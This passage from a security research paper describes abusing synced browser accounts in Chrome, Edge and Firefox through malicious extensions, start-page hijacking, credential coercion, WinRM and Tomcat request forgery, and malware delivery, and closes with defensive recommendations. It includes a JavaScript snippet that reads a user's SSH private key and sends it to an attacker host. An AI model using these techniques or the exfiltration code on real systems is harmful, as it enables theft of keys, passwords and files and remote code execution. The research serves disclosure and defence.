affect the victim. 

Firefox 

No suitable debugging functions were identified that could be leveraged on Firefox. 
However, the about: directive used for Firefox internals was freely usable and would 
activate appropriately in Firefox. As such, if an unsafe value for the about: directive 
was to be found, it likely would be vulnerable. 

 

Key results 
Executing protocol handlers to gain code execution without prompting is a significant, 
but not impossible task, as shown in EXEC-2. However, this is highly contextual to the 
target environment, and would require either identification of a protocol handler 
vulnerability, or for additional user interaction, As discussed in EXEC-2.1 and EXEC-
2.2 respectively.  



CASE STUDY 5: MALICIOUS CLOUD-SYNC 
EXTENSIONS. 

Extensions are another key feature of cloud-synchronization. Any extension that was 
approved by the browser manufacturer will be synchronized by default. The key 
features identified for leverage via extensions were the ability to write a limited set of 
settings, and the ability to read and write data on any page the user opens. 

There were limitations on how overtly malicious these extensions could be, as 
extensions are checked to avoid misuse, and prevent the use of some overtly 
malicious functions. However, these checks have been proven to be circumventable 
in the past, as numerous extensions have been exploited in the wild. As such, 
attempting to get a malicious extension published was not attempted. Instead, a 
developer extension was installed on each device to emulate a malicious synchronized 
extension. 

As Edge and Chrome used Chromium, the same extensions worked on both browsers 
by default. Firefox used the same format for its extensions to reduce the overhead of 
porting extensions from other browsers to Firefox. As such, the same malicious 
extension should work on each browser, with a couple of minor distinctions which will 
be discussed where required.  

For this case study, malicious extensions were created and loaded locally to emulate 
remote extension synchronization. By configuring an extension with a manifest content 
script, the extension would embed the attacker-controlled JavaScript on any page 
viewed by the browser. Overwriting browser settings was also tested via the 
“chrome_url_overrides” function. A sample manifest is shown below: 

 
Figure 54: Sample manifest.json file with a content_script to embed main.js in all browsed 

URLs. 

Data Theft 
As in the previous case studies, an attacker can force the user’s start page to any 
arbitrary URL. Following this, an extension (which by nature has the ability to bypass 
normal browser origin checks) could then exfiltrate the data from this page once it has 
been opened. This could be used for sensitive websites identified in the user’s history, 
to read local files, and to read files of share drives, if server names are known. 

A simple example of this was the following JavaScript code which base64 encoded all 
content on the current page and submitted it as an alert box. Instead of an alert box, it 
would be trivial to exfiltrate this data. 



var Source = new XMLSerializer().serializeToString(document); 

alert("id_rsa:"+btoa(unescape(encodeURIComponent(Source)))); 

This functionality worked without any modification on Chrome and Edge, however, on 
Firefox, Manifest version 3 would not execute the JavaScript within the extension until 
a user prompt was accepted. This was circumvented by using Manifest version 2 
instead. However, this may significantly reduce the likelihood of Firefox users being 
exploited through this method if manifest version 2 was disallowed in the future. 

One point of note with the addition of arbitrary JavaScript execution on pages using 
the file:// directive was that web browsers prevent loading local file resources from 
an HTTP/HTTPS context as a security measure. This is shown in the screenshot below 
where the Chrome browser prevents navigation to 
file:///C:/Users/User/.ssh/id_rsa: 

 

 
Figure 55: Same Origin Policy preventing redirection to a file from an http context. 

No such protection was in place once in a file:// context. This would allow an 
attacker to navigate to arbitrary file:// paths and execute JavaScript on each of 
those pages, allowing for a malicious extension to read the data from a Directory listing 
endpoint to enumerate file and folder names. 



 
Figure 56: Viewing a folder in a file context showing full directory listing.  

Following this, automated file enumeration and exfiltration could be done, exfiltrating 
one file at a time. This could be improved significantly if a state could be maintained 
between pages. The easiest implementation of this identified during the case study 
was a web-based Command and Control server, to inform the extension as to which 
files to download. This activity would be overtly malicious and very likely to be detected 
by an active user if conducted while the user was interacting with the browser, however 
by generating a valid pretext, setting up a delay to only trigger after a significant 
amount of inactivity, or triggering other activities to distract the user, this could still be 
executed with reasonable efficacy. 

JavaScript Command and Control 
To extend the data exfiltration techniques discussed, a malicious Command and 
Control (C2) server was created, such that the malicious extension could periodically 
send HTTPS requests to the server and execute various malicious functions based off 
the C2 response. 

The following functionality was tested and verified: 

• Injecting arbitrary JavaScript into the current page and executing it. 



• Exfiltration of all content on the current page, including file directives. 

• Launching a Cross-Site Request Forgery attack to trigger an arbitrary command 

on the current device via WinRM, via the technique discussed in Case study 2. 

• Checking if the current URL was a file path. 

 

Remote Code Execution 
An attacker could target internal systems with traditional web vulnerabilities, by forcing 
the victim user to navigate to a vulnerable internal site and then execute unrestricted 
JavaScript in the context of that site. Without using an extension, Same Origin Policy 
would prevent this. However, with an extension, the attacker could execute multi-step 
web requests in order to trigger attacks such as remote-code execution. This can be 
used for sites with known authenticated RCE such as Tomcat18, or for internal network 
attacks such as WinRM. As these exploits would come from the victim’s browser, they 
would also circumvent any IP allowlisting and other network restrictions. 

 

Settings Modification 
Very few settings were modifiable through extensions, none of which were of notable 
use, as these settings could all be set by settings sync directly. Extensions also 
provided additional warnings when an extension changed settings, increasing the 
likelihood of a user detecting the malicious activity. 

Subsequent Network Exploitation 
As discussed in case study 3, Arbitrary JavaScript execution could be leveraged for a 
variety of remote exploits including code execution, either against internal applications, 
or by leveraging WinRM on the victim host. 

As extensions embed and execute JavaScript in the context of the current page, and 
an attacker could control the victim’s start page, an attacker could force a user to a 
vulnerable site and execute malicious JavaScript, circumventing Same Origin Policy, 
and allowing for multiple state-changing requests to be made as part of a complex 
exploit chain. Additionally, web credentials could be compromised via the credential 
coercion discussed in case study 1, allowing for authenticated remote code execution 
vulnerabilities to also be exploited. 

Exploitation through this avenue was limited by the Content-Security Policy (CSP) of 
the victim site, as this could prevent running JavaScript if a sufficiently hardened CSP 
was in place. 

 

Key results 
Extensions allow for the high-impact attacks found in the previous case studies that 
otherwise required a universal XSS vulnerability to leverage. Most notably being 
EXEC-1, and THEFT-3 and THEFT-4. 

  

 
18 https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#rce 



COMBINING THE RESULTS OF THE CASE 
STUDIES 

High-Complexity Targeted Attacks 

• Malicious extension published to browser stores to trigger CSRF RCE on local 

servers. 

• Malicious extension published to browser stores to passively steal data and 

potentially embed malware in trusted downloads. 

• Passive compromise of credentials and context for use by operators. 

Targeted Dedicated Attacks 

• Credential theft via authentication coercion. 

• Exfiltrating local file share data via malicious extensions. 

• Compromising local servers via malicious extension or context driven XSS in 

unpatched/outdated server. 

• Downloading malicious files and social engineering a user into triggering 

malware. 

Opportunistic Attackers 

• Coerced Secrets theft via enabling automatic password saving. 

• Passive secrets theft. 

• Installing Adware or other non-sophisticated Malicious Extensions. 

 

  



KEY RESULTS FROM CASE STUDIES 

As the case studies reference each other, the conclusions of each have been added 
together here, with labels for each malicious action, to allow for easier referencing. 

THEFT-1 Passive compromise of user information 
As discussed in case study 1, compromise of significant user information was identified 
in each of the three browsers. 

THEFT-1.1 Compromise of history and passwords for internal network 
attacks 

Looking through a compromised user’s passwords and history could trivially identify 
sites to target for subsequent attacks. In combination with other vulnerabilities, this can 
lead to remote code execution and other high impact vulnerabilities.  This information 
could also be retrieved on Firefox or Chrome. 

For example, to identify a Tomcat19 instance, an attacker could look for credentials to 
an internal site on TCP port 8080, look through the user’s history to identify a site with 
the endpoint: “/manager/html”, or look for a page in history with the Apache Tomcat 

Header. In the example shown below, the admin endpoint for the tomcat instance was 
shown, along with the service version, making it trivial for an attacker to identify. 

 
Figure 57: Viewing the history for the user, including a local Tomcat admin endpoint. 

From this it would be trivial to correlate this application with the saved passwords for 
the application, allowing for authenticated forged requests against the server. 

 
Figure 58: Viewing the administrator Tomcat password by correlating the website with history. 

A demonstration of exploitation using this information can be found in EXEC-1.1.  

 
19 https://tomcat.apache.org/ 



THEFT-1.3 Passive compromise of user information in Firefox 

As per case study 1, with no overtly malicious activity an attacker can compromise 
data from the about:logins endpoint. 

To retrieve full sync information without modifying the victim’s browser, an attacker can 
disable synchronisation of Add-ons and install the about:sync extension. 

 
Figure 59: Disabling add-on sync in settings. 

The about:sync addon will then pull down a copy of the sync state and decode it, 
allowing for full plaintext retrieval of data, if a secondary password has not been 
configured in Firefox. 



 
Figure 60: Viewing all sync collections in about:sync. 

THEFT-1.4 Passive compromise of user information in Chrome 

As per case study 1, with no overtly malicious activity an attacker can compromise 
data from the following. 

• Chrome://settings/payments 

• Chrome://password-manager/passwords 

• Chrome://addresses 

Full information can also be obtained by using the Sync Node Browser in 
chrome://sync. 



 
Figure 61: Viewing the sync data through the sync node browser in chrome://sync. 

THEFT-1.5 Passive compromise of user information in Edge 

As per case study 1, with no overtly malicious activity an attacker can compromise 
data from the following. 

• Edge://settings/passwords 

• Edge://settings/payments 

• Edge://settings/personalinfo 

Full information can also be obtained by using the Sync Node Browser in 
edge://sync. 

 
Figure 62: Viewing the sync data through the sync node browser in edge://sync. 

 

 



 

 

THEFT-2 Forced Password Theft 

THEFT-2.1 Forced Password theft in Edge 

By leveraging the synchronised password settings on Edge, an attacker could enable 
a remote keylogger on the victim’s device. 

To demonstrate this, on the attacker device, the settings at 
Edge://settings/passwords were modified to enable the "Offer to save 
passwords", "Automatically save passwords", and "Autofill passwords" 
features. 

 
Figure 63: Configuring settings to automatically save passwords on the victim’s device, 

Once the setting had synced to the victim device, the victim user logged into a website, 
resulting in their password being automatically saved.  



 
Figure 64: Logging into a website on the victim device. 

In the response after logging in, the user would be notified that their password was 
saved. However, by this point it had already been saved to the cloud sync server and 
received by the attacker device. 

 
Figure 65: The password is automatically saved, as shown in the prompt in the top left. 

From the attacker device, the password was now saved and accessible. Note, Edge 
prompted the attacker to enter their desktop password to view the credentials, which 
the attacker had access to, as they own the device. These credentials could have been 
logged from the sync response, rather than viewed in the browser. 

 



 
Figure 66: Once the password is received by the attacker device, it can be read in plain text. 

 

THEFT-3 Local File Theft Via XSS 
As discussed in case study 2, compromise of local files is trivial with control of a user’s 
start page, and JavaScript execution in the context of the local file. 

This action is overtly malicious, however it can be partially masked by providing a user 
with multiple pages, such that the malicious page is not in focus when the victim opens 
their browser. 

THEFT 3.1 SSH Private Key Theft in Edge via Malicious Extension 

By setting the users start page to a local key file such as 
file:///C:/User/Users/.ssh/id_rsa and leveraging a malicious extension to execute 
JavaScript on the page, an attacker could exfiltrate the contents of the file to a remote 
server over HTTPS.  

The malicious JavaScript was embedded in the extension: 

if(window.location.href == "file:///C:/Users/User/.ssh/id_rsa"){var 

Source = new XMLSerializer().serializeToString(document); 

fetch("http://jankhjankh.evil:1337/?"+btoa(unescape(encodeURICompone

nt(Source)))); 

window.location.href="http://google.com"}; 

The user’s start page was set to the path to their local SSH private key. 



 
Figure 67: Setting the user's start page to the location of their SSH private key. 

 

Upon the victim opening their browser, they were taken to their SSH private key, before 
being redirected to https://google.com. 

 
Figure 68: Upon reopening their browser, the victim temporarily sees their SSH key before redirection. 



 
Figure 69: The user is redirected to google after around half a second. 

The malicious server retrieved the Base64 encoded private key file.  

 
Figure 70: The sensitive data is retrieved from the exfiltration server. 

 

THEFT 3.2 SSH Private Key Theft in Edge via Universal XSS 

Using the universal XSS vulnerability identified in Edge, an attacker could force the 
user to a local file and hope they click the home button to get to their homepage, 
resulting in compromise of the file. As remote exfiltration was already demonstrated in 
THEFT-3.1, the malicious JavaScript embedded in the page wrote the contents of the 
file into an alert box instead. However, it is trivial to exfiltrate from this position. 



 
Figure 71: Setting the user's start page to the location of their SSH private key, and embedding an 

XSS payload in the home button. 

 
Figure 72: Upon reopening their browser and pressing the home button, the payload is executed, 

showing an alert box with the user’s SSH private key. 

 

 

THEFT-4 Internal Network File Theft  
Using the same techniques as THEFT-3, an attacker can also retrieve files from an 
internal network drive. 

Theft-4.1 Share Drive File Theft 

The best real-world application for stealing from a share drive would be via the use of 
a malicious extension operating as a C2, such that an operator could make a few 



targeted file theft requests, rather than a fully automated solution. However, to 
demonstrate that this would be possible with an automated solution, a JavaScript file 
to list all files and folders within a share drive and log them to the console has been 
shown. From this, a malicious script could navigate to a specific file and exfiltrate it, or 
by opening new tabs, could open multiple files at once, provided it does not set off any 
popup blockers. 

 
Figure 73: JavaScript to retrieve every filename from a directory listing page. 

 

 
Figure 74: Opening the share drive and triggering the JavaScript code, resulting in the filenames 

being logged to the console. 

The lack of state on a single JavaScript automated file crawler would be far less useful 
and far noisier than a C2 counterpart. As such, this was unlikely to be leveraged by an 
attacker. 

 

 



 
 

THEFT-5 Credential Coercion 

THEFT-5.1 Credential Coercion and Desktop Password Compromise 

Regardless of which browser was used, the result could be used to compromise the 
Net NTLMv2 hash of the user, provided that TCP port 445 outbound was enabled, 
which is less common on robust enterprise environments, but very common on home 
networks, posing a more significant risk for working-from-home users. 

 
Figure 75: Retrieving the victims NetNTLMV2 hash via Responder. 

Brute forcing these hashes in Hashcat20 could give the attacker local user credentials 
if they could crack the password. These desktop credentials could then be used for 
subsequent attacks: 

 
Figure 76: Cracking the user's NetNTLMV2 hash to retrieve their plaintext password. 

Use of these compromised credentials to trigger RCE is demonstrated in EXEC-1.2 
and EXEC-1.3. 

 

THEFT-5.2 Relaying 

Coercing authentication could also be used for credential relaying attacks, however, 
this would require significantly complex attacks, as an exploit would need to receive 

 
20 https://github.com/hashcat/hashcat 



and relay the requests to a target service. This would likely require persistent 
JavaScript execution from an extension to be done. 

An additional limitation of relay attacks would be that they cannot be relayed to the 
same device, so an additional internal host would need to be identified for relay 
attacks, and network-level access to that internal host would also be required. 

 

 

THEFT-6 File Compromise Via File Directive SOP 
bypass 

As discussed in case study 3, the Same Origin Policy is circumvented when coming 

from a file directive URL, allowing an attacker to set a user’s start page to an HTML 

file stored locally or on a remote share drive to read and exfiltrate files that can be 

interpreted as valid JavaScript.  

THEFT-6.1 Config theft via Remote Share File 

By setting the user’s start page to a remote file share, an attacker can force a victim to 
view an attacker-controlled webpage in a file context, this allows for exfiltration of data 
from local files or other internal share drives via embedding the files in the DOM as a 
script and exfiltrating that information via JavaScript. This attack only works on files 
which parse as valid JavaScript but does not consider the file extension of the file. 

In the example below, this is used to exfiltrate a user’s prefs.js file for Firefox, which 
contains some user information. 



 
Figure 77: Accessing a file on a share drive to compromise a local file. 

This specific attack requires knowing the location of the user’s prefs.js file, but for other 
targeted files may be more predictable. Alternatively, this could be automated to scan 
for a variety of local files, and files on share drives for exfiltration. 

This worked on all three browsers, with Firefox requiring additional slashes as seen in 
Case study 3, an example is shown below:  

<script 

src="file://///192.168.18.128/Demoshare/samplefile.txt"></script> 

THEFT-6.2 Config theft via Local File 

As with the technique above, if an attacker can write a local file to disk, such as via 
downloading a file via other techniques, and then navigating to it, an attacker can 
launch data theft attacks from the local device to compromise other local files or files 
on share drives, if they can be interpreted as valid JavaScript. 

To demonstrate this, a malicious file was downloaded via HTML smuggling to the 
default download location. This resulted in it having the predictable path location of 
C:/Users/User/Downloads/test.html. Then in a subsequent attack, the users start page 



was set to file://C:/Users/User/Downloads/test.html and the victim’s browser was 
restarted to trigger the attack, resulting in the user’s prefs.js file being exfiltrated. 

 

 

 
Figure 78: Exfiltrating a file from a share drive via a local file. 

Using a downloaded file to leverage this functionality does require knowing the victim’s 
username, which could be identified through THEFT-5.1, or other contextual sync 
information. Additionally, this specific attack requires knowing the location of the user’s 
prefs.js file, but other files may be in a consistent location, or automated scanning and 
exfiltration could be done. 

 

DROP1 – Forced Malware Delivery 

Forced Malware Delivery with Pretext Webpage. 

By HTML smuggling a malicious file download into a page, followed instantly by a 
redirection to a trusted site, an attacker could generate a reasonably seamless payload 
dropper onto a victim’s device without the user questioning why they have a file to be 
downloaded. In the example shown, the XSS vulnerability in Chrome was used to 
seamlessly download a malicious executable and then redirect the user to the Chrome 
update page, giving the user strong reasoning to click the link, without the user thinking 
any malicious action has taken place, and no malicious URLs being present in the URL 
bar at any time. This could be done without the initial XSS by sending the user to a 
malicious site first, but it could have added the opportunity for problems to have arisen, 
such as the user noticing malicious site before redirection, the malicious site being 
blocked. 



 
Figure 79: Malicious payload being downloaded, appearing to originate from google.com.au. 

 

DROP2 – Incubated Malware Delivery 

Backdooring file downloads 

Another subtle method that malicious browser extensions allowed for was the ability 

to tamper with trusted webpages. By hollowing out the functionality for downloading a 

trusted application, and replacing it with an HTML smuggled file download, a remote 

attacker can incubate malware delivery in specific sites and wait for the user to 

navigate to the site and download the file. 

To demonstrate this, code to replace the default chrome download with a malicious file 

was embedded within an extension. Upon a user browsing to the chrome download 

page, the JavaScript would overwrite the download button with one that downloaded 

an HTML smuggled executable, and redirected the user to the download success 

page. 

 
Figure 80: Malicious JavaScript to hollow the default chrome download and embed a custom payload. 



This is blocked by the default chrome.com Content Security Policy21, however, it 

demonstrates the possible attack surface. 

This example was built for a specific page, however universal versions of this attack 

may be possible with sufficient development time. 

 

EXEC-1 Request Forgery Attacks to Trigger Code 
Execution 
As discussed in case studies 2, 3, and 5, forcing a user to a specified page and 
executing JavaScript in that page can circumvent CSRF protections, allowing for multi-
stage request forgery attacks.  

Depending on the target service this may or may not be an overtly malicious activity. 
With use of an extension this can be made more opsec friendly by waiting until the 
user is inactive for a period of time before triggering the exploit. 

In these examples, users are directed to the targeted applications via the start page, 
however this could also be done by a malicious extension. 

EXEC-1.1 Authenticated Remote Code Execution in Tomcat 

Using the credentials and context from a user’s session as discussed in THEFT-1.1, 
an attacker could identify credentials, and the hostname for a service vulnerable to 
exploitation.  

Using the Tomcat server discussed in THEFT-1.1 as an example, the server can be 
compromised if a user navigates to a tomcat endpoint, and malicious JavaScript can 
be embedded within the page. To leverage this without user interaction, this JavaScript 
must embed administrator credentials. By leveraging a malicious extension to execute 
malicious JavaScript, described in case study 5 and forcing the user to navigate to the 
tomcat instance at http://127.0.0.1:8080/ by setting their start page, a remote 

code execution exploit would be triggered against the service. 

From the attacker device, the user’s homepage was set to the tomcat server at 
http://127.0.0.1:8080, and a malicious developer extension was installed on the 
victim device to emulate a synchronised extension: 

 
21 https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP 



 
Figure 81: Setting the user’s start page to http://127.0.0.1:8080. 

The malicious JavaScript within in the extension uploaded a malicious WAR file to the 
system and triggered the web shell within the WAR file, in this case, running calc.exe: 

 
Figure 82: The malicious JavaScript to upload a webshell and then run calc.exe. 

The remote code execution vulnerability was triggered upon the victim reopening 
Edge, as demonstrated by opening the calculator. 



 
Figure 83: Upon the user reopening their browser, they are sent to the tomcat endpoint and calc is 

triggered. 

The provided exploit uses the credentials compromised in the password list, however, 
if the user was already authenticated to the site via basic authentication, this could be 
exploited without needing to know the user’s credentials. 

Additionally, this exploit would circumvent IP allowlisting and allow targeting local 
systems, as the requests originate from the victim device. 

This logic flow could be applied to any authenticated internal application to identify and 
leverage authenticated code execution.  

 

EXEC - 1.2 Authenticated Remote Code Execution in WinRM 

By leveraging the credential coercion capability discussed in THEFT-5.1 and 
subsequently cracking the victim’s local user password, an attacker could conduct 
network attacks using those credentials. A notable method to exploit this was the ability 
to send Windows Remote Management (WinRM) requests over HTTP to trigger code 
execution if the following preconditions are met: 

• WinRM was enabled on the host. 

• The auth basic and allow unencrypted settings are enabled in WinRM. 

• The user can execute JavaScript on the http://localhost:5985 URL. 

This worked via sending two WinRM requests. The first to retrieve a valid “ShellID” 
value, the other to use that shell ID to run a command. In this case, Calc was used as 
an example. For this demonstration, JavaScript was run through the console as this 
case study does not cover malicious extensions. A full demonstration of this exploit 
can be found in Case Study 5. 

By setting the user’s start page to http://localhost:5985 and leveraging a 
malicious extension with JavaScript execution capability, an attacker could force the 
user to the WinRM server where it would automatically trigger a CSRF request. 
Resulting in code execution. 



 
Figure 84: Setting the users start page to the WinRM endpoint at http://localhost:5985. 

 
Figure 85: Upon the user reopening their browser, they are directed to the WinRM endpoint, which 

executes the JavaScript running calc.exe. 

Edge was shown as the example; however, this worked identically with Chrome, and 
worked on Firefox if the manifest was V2. By using a C2 as part of the malicious 
extension, this attack could potentially be bolstered to include coercing user 
authentication to retrieve the user’s password hash, or potentially relaying 
authentication from the server. 

 



 
Figure 86: Triggering the exploit against Chrome, using inline JavaScript for convenience. 

Auth basic was leveraged due to its reduced complexity; however, it was likely possible 
to exploit on a standard implementation of WinRM, potentially including the ability to 
relay credentials rather than cracking them, if a different host was targeted. 

 

EXEC - 1.3 Authenticated Remote Code Execution via Universal XSS in 
Edge 

The remote code execution methods discussed in Exec 1.1 and 1.2 could both also be 
executed without a malicious extension by using the Universal XSS in Edge to trigger 
the malicious JavaScript code, however, this would require the user to click the home 
button to trigger. 

This was tested via setting the user’s homepage to http://localhost:5985/, and 
embedding the WinRM CSRF in the home button, which was synced to the victim 
device. 



 
Figure 87: Setting the user's start page to a WinRM endpoint and embedding XSS in their home 

button. 

Upon reopening Edge, the victim was presented with the WinRM 404 page. Upon 
pressing the home button, WinRM was triggered, opening calc.exe. 

 
Figure 88: Upon reopening Edge, the users is redirected to the WinRM endpoint. Upon clicking the 

home button, the XSS payload launches Calc.exe. 

 

EXEC – 1.4 Automatic execution of files in Firefox 

The Firefox feature to automatically run downloaded files could also be used to 
execute a malicious payload without a prompt. However, as this feature was not 
synchronized, contained additional protections, and would likely trigger smart screen 



on the Windows side, the prerequisites were deemed too excessive to be worth 
generating a full proof of concept. 

 

 

EXEC-2 Protocol Handler Execution 
As discussed in case study 4, protocol handlers can allow for code execution through 
the use of protocol handler vulnerabilities, and through protocol handlers that allow for 
unsafe activity with a user warning prompt. 

EXEC–2.1 Remote code execution via a Protocol Handler vulnerability in 
Chrome. 

Using a protocol handler vulnerability, an attacker could execute arbitrary commands 
on a victim using Chrome if they accept the prompt. This payload only needed to be 
submitted once, as protocols would automatically execute on their first time on Chrome 
and Edge, provided the user accepted the provided prompt.  

 
Figure 89: Submitting a protocol handler exploit for ms-msdt to the start page. 



 
Figure 90: Upon reopening the browser they are prompted with a protocol handler warning. 

 
Figure 91: Upon accepting the prompt, the application is spawned, triggering the vulnerability. 

 



 
Figure 92: The payload is triggered, opening calc.exe. 

The likelihood of compromise through this avenue was reduced, as the user had to 
accept a user prompt prior to exploitation. The browser prompt specified the initial 
process that was to be spawned by the protocol handler. As such, a protocol handler 
in a trusted application such as Office or Adobe, would be far more likely to be 
accepted. 

 

EXEC-3 Lateral Movement 
If you have write/write privileges to a user's browser profile files on disk, a significant 
amount of cloudsync attacks possible. 

This would likely require administrator privileges on the device to either write the files 
over SMB, or to poison a shared host. 

 

EXEC-3.1 Overwriting a user’s profile directory with an attacker-owned 
directory 

With write-access to a user’s browser profile folder, a significant amount of the victims’ 

settings can be modified, including completely overwriting the user’s browser profile 

with an attacker-controlled profile, allowing for each of the previous attacks. This was 

confirmed on Firefox, and appeared possible on Chrome and Edge, however attempts 

to do so resulted the browser disabling sync. 

  



PREVENTION AND DETECTION 

Preventing unsafe usage of cloud synchronization, while still providing cloud-sync 
features to users is a significantly difficult task. By design, these applications are built 
to be authenticated externally, use web traffic to trusted domains, and allow for a vast 
array of features which can be misused in unintended ways. Additionally, from 
discussions with developers for each of the browser vendors discussed in this paper, 
risks from these techniques were consistently underestimated due to the precondition 
of requiring access to a user’s cloud synchronized session. As such, almost no 
features discussed within this paper were considered vulnerabilities. 

Due to these considerations, disabling cloud-synchronisation entirely is strongly 
recommended over attempting a configuration to allow trusted features of 
synchronisation. 

This can be done at a cloud level to lock down corporate sync2223, however this will not 
prevent sync from non-corp accounts. As such, it is also recommended to disable sync 
on a per device basis. For Windows, disabling synchronization on all browsers at a 
group policy level is recommended24. The associated registry keys can be found 
below. 

• Software\Policies\Mozilla\Firefox\DisableFirefoxAccounts 

• Software\Policies\Microsoft\Windows\SettingSync 

• Software\Policies\Google\Chrome\SyncDisabled 

Additionally, investigate any other browsers users may have within your environment. 
Consider this a significant risk to your organisation, especially if users are bringing 
their own devices, or working from home, as they will often lack significant hardening 
and network logging. 

 

Other holistic recommendations to reduce the impact of the key techniques within this 
paper can be found below: 

• Audit all devices within your environment for Firefox, Edge, and Chrome 

extensions, as well as any other browsers used within your organization. 

• Ensure all user browsers are patched regularly. 

• Enforce MFA on all accounts used within the organization. Users should be 

prevented from using unmanaged browser accounts in your corporate 

environments. 

• Disable automatic cloud-sync of Edge browsers during M365 device 

enrollment. 

• Block TCP port 445 traffic outbound to prevent credential coercion over SMB. 

• For a high sensitivity environment, consider logging and blocking HTTPS 

requests to each of the default sync server locations. 

  

 
22 https://support.google.com/a/answer/9750173?hl=en 
23 https://learn.microsoft.com/en-us/deployedge/microsoft-edge-enterprise-sync 
24 https://learn.microsoft.com/en-us/deployEdge/microsoft-Edge-policies#browsersignin 



SIMULATION TOOL 

To help perform research in this area, and to test particular techniques, I have created 
a simulation tool to expedite the testing process. This tool aims to generate artefacts 
for cloud synchronization and can be used to conduct minor malicious activity as part 
of purple teaming exercises. It can be downloaded at the following url: 

https://github.com/jankhjankh/Syncy 

Chrome, Edge, and Firefox each contain all cloud-synchronization data within a user 
profile within the following directories: 

• C:\Users\User\AppData\Local\Microsoft\Edge\User Data 

• C:\Users\User\AppData\Local\Google\Chrome\User Data 

• C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles25 

The tool works by writing a profile to each of these directories that is already logged in 
to a compromised synchronized account. Then the tool can be configured to open and 
close these browsers periodically, allowing for a tester to submit malicious payloads 
to the sync servers which will be automatically triggered by the victim device. 

It can be extended by embedding developer extensions within each browser profile or 
downloading browser extensions from their respective stores. 

This can be beneficial to detect synchronized traffic, execution of malicious 
extensions, and internal network attacks coming from a compromised browser. 

  

 
25 Technically, Firefox profiles can run from anywhere, but this is the default location. 



ADDITONAL REFERENCES 

Developer blog on Firefox sync: 

https://hacks.mozilla.org/2018/11/Firefox-sync-privacy/ 

 
Super detailed auth flow for Firefox: 

https://github.com/mozilla/fxa-auth-server/wiki/onepw-protocol 
 

EFFs report on manifest V3: 

https://www.eff.org/deeplinks/2021/12/googles-manifest-v3-still-hurts-privacy-
security-innovation 
 

Converting from manifest V2 to V3: 

https://css-tricks.com/how-to-transition-to-manifest-v3-for-Chrome-extensions/ 

 
Cursed Chrome, evil Chrome extension: 

https://github.com/mandatoryprogrammer/CursedChrome/ 

 
User complaints about MS stealing data in sync sessions: 

https://www.schneier.com/blog/archives/2021/11/is-microsoft-stealing-peoples-
bookmarks.html 
 
How Firefox built sync with privacy in mind: 

https://hacks.mozilla.org/2018/11/Firefox-sync-privacy/ 
 
Code and examples of the Firefox sync protocol: 

https://github.com/mozilla/fxa-auth-server/wiki/onepw-protocol#accountkeys 
 
Manifest V3 overriding settings with an extension: 

https://developer.Chrome.com/docs/extensions/mv3/settings_override/ 

 
Associated source code for settings overrides: 

https://chromium.googlesource.com/chromium/src/+/refs/heads/main/Chrome/comm
on/extensions/Chrome_manifest_url_handlers.cc 

 
Chrome Sync diagnostics: 

https://sites.google.com/a/chromium.org/dev/developers/sync-diagnostics 
 
Protobuf documentation for Edge and Chrome’s sync: 

https://protobuf.dev/overview/ 

 
Detailed info from Google about how google sync API works: 

https://docs.google.com/viewer?a=v&pid=sites&srcid=Y2hyb21pdW0ub3JnfGRldnxn
eDo2MzU1NDEwZTA1NTUwNzlk 


